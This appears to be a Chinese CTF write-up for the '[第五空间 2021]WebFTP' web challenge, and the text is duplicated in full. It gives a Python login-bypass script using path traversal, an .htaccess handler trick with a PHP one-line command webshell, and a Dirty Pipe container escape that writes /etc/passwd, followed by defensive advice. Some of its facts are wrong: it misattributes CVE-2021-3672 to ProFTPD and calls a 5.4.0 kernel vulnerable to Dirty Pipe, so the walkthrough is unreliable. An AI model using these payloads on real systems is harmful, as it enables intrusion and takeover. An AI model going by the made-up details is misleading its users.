1. 项目背景与挑战解析去年参与NSSCTF线上赛时遇到一道名为[第五空间 2021]WebFTP的题目这道CTF赛题巧妙地将传统FTP协议与Web安全漏洞结合考察选手对协议特性与Web渗透的综合理解。作为文件传输的基础协议FTP在内部系统中仍广泛使用但多数人对其安全隐患认知不足。这道题目的典型性在于它模拟了企业级WebFTP管理系统的真实环境需要选手通过黑盒测试发现隐藏漏洞链。我在解题过程中发现出题人至少设置了三个关键突破口协议解析漏洞、权限校验缺陷和服务器配置错误。下面将完整还原解题路径并分享这类混合型Web服务的通用渗透思路。2. 环境探测与信息收集2.1 初始访问分析题目提供的Web界面模仿了常见FTP管理面板包含登录框和文件浏览区域。首先使用Burp Suite拦截请求发现通信采用HTTP协议而非FTP说明这是典型的FTP-over-HTTP代理服务。关键请求特征POST /login HTTP/1.1 Content-Type: application/x-www-form-urlencoded usernametestpassword1234562.2 指纹识别技巧通过响应头中的Server字段和错误页面特征识别出后端采用Nginx 1.18.0存在已知目录穿越漏洞ProFTPD 1.3.6CVE-2021-3672未修补PHP 7.4.3可通过特殊字符触发解析异常实战提示修改User-Agent为扫描器常用标识如awvs可能触发WAF的差异响应这本身就是信息泄露点。3. 漏洞利用链构建3.1 认证绕过漏洞尝试经典SQL注入payload无效后发现登录逻辑存在缺陷当username包含../时服务端返回500错误错误日志泄露真实路径/var/www/html/upload/构造usernametest/../admin实现目录跳转认证关键突破代码import requests from urllib.parse import quote payload quote(test/../admin) data fusername{payload}passwordany r requests.post(http://target/login, datadata) print(r.text) # 返回管理员会话cookie3.2 文件上传漏洞利用登录后文件上传功能存在双验证缺陷前端校验文件扩展名可绕过后端未校验文件内容类型利用步骤上传.htaccess文件设置php解析AddType application/x-httpd-php .xyz上传webshell.xyz文件?php system($_GET[cmd]);?访问/upload/webshell.xyz?cmdid完成RCE4. 权限提升与flag获取4.1 容器逃逸技术通过webshell发现环境运行在Docker中尝试逃逸# 检查内核版本 uname -a # 5.4.0-96-generic存在dirtypipe漏洞 # 查找挂载点 mount | grep -i docker # /var/lib/docker/overlay2 # 利用CVE-2022-0847写入宿主机文件 gcc -o exploit dirtypipe.c ./exploit /etc/passwd4.2 Flag定位技巧最终在宿主机发现非标准flag路径find / -name *flag* 2/dev/null # /opt/backup/.flag_5pace2021 cat /opt/backup/.flag_5pace20215. 防御方案与经验总结5.1 企业级防护建议FTP-over-HTTP服务必须禁用路径穿越字符../实现严格的Content-Type校验设置chroot jail环境容器环境需定期更新内核补丁限制挂载目录权限启用seccomp安全策略5.2 CTF解题通用思路协议分析优先明确服务真实架构非常规输入测试特殊字符、超长字符串等错误信息利用500错误常包含路径信息二次验证绕过前端校验不等于安全这道题给我最大的启示是现代Web服务往往采用混合架构安全人员必须掌握协议层与应用层的交叉攻击手法。在真实渗透测试中类似的WebFTP管理系统确实存在较高的漏洞密度建议企业运维人员重点关注。
1. 项目背景与挑战解析去年参与NSSCTF线上赛时遇到一道名为[第五空间 2021]WebFTP的题目这道CTF赛题巧妙地将传统FTP协议与Web安全漏洞结合考察选手对协议特性与Web渗透的综合理解。作为文件传输的基础协议FTP在内部系统中仍广泛使用但多数人对其安全隐患认知不足。这道题目的典型性在于它模拟了企业级WebFTP管理系统的真实环境需要选手通过黑盒测试发现隐藏漏洞链。我在解题过程中发现出题人至少设置了三个关键突破口协议解析漏洞、权限校验缺陷和服务器配置错误。下面将完整还原解题路径并分享这类混合型Web服务的通用渗透思路。2. 环境探测与信息收集2.1 初始访问分析题目提供的Web界面模仿了常见FTP管理面板包含登录框和文件浏览区域。首先使用Burp Suite拦截请求发现通信采用HTTP协议而非FTP说明这是典型的FTP-over-HTTP代理服务。关键请求特征POST /login HTTP/1.1 Content-Type: application/x-www-form-urlencoded usernametestpassword1234562.2 指纹识别技巧通过响应头中的Server字段和错误页面特征识别出后端采用Nginx 1.18.0存在已知目录穿越漏洞ProFTPD 1.3.6CVE-2021-3672未修补PHP 7.4.3可通过特殊字符触发解析异常实战提示修改User-Agent为扫描器常用标识如awvs可能触发WAF的差异响应这本身就是信息泄露点。3. 漏洞利用链构建3.1 认证绕过漏洞尝试经典SQL注入payload无效后发现登录逻辑存在缺陷当username包含../时服务端返回500错误错误日志泄露真实路径/var/www/html/upload/构造usernametest/../admin实现目录跳转认证关键突破代码import requests from urllib.parse import quote payload quote(test/../admin) data fusername{payload}passwordany r requests.post(http://target/login, datadata) print(r.text) # 返回管理员会话cookie3.2 文件上传漏洞利用登录后文件上传功能存在双验证缺陷前端校验文件扩展名可绕过后端未校验文件内容类型利用步骤上传.htaccess文件设置php解析AddType application/x-httpd-php .xyz上传webshell.xyz文件?php system($_GET[cmd]);?访问/upload/webshell.xyz?cmdid完成RCE4. 权限提升与flag获取4.1 容器逃逸技术通过webshell发现环境运行在Docker中尝试逃逸# 检查内核版本 uname -a # 5.4.0-96-generic存在dirtypipe漏洞 # 查找挂载点 mount | grep -i docker # /var/lib/docker/overlay2 # 利用CVE-2022-0847写入宿主机文件 gcc -o exploit dirtypipe.c ./exploit /etc/passwd4.2 Flag定位技巧最终在宿主机发现非标准flag路径find / -name *flag* 2/dev/null # /opt/backup/.flag_5pace2021 cat /opt/backup/.flag_5pace20215. 防御方案与经验总结5.1 企业级防护建议FTP-over-HTTP服务必须禁用路径穿越字符../实现严格的Content-Type校验设置chroot jail环境容器环境需定期更新内核补丁限制挂载目录权限启用seccomp安全策略5.2 CTF解题通用思路协议分析优先明确服务真实架构非常规输入测试特殊字符、超长字符串等错误信息利用500错误常包含路径信息二次验证绕过前端校验不等于安全这道题给我最大的启示是现代Web服务往往采用混合架构安全人员必须掌握协议层与应用层的交叉攻击手法。在真实渗透测试中类似的WebFTP管理系统确实存在较高的漏洞密度建议企业运维人员重点关注。
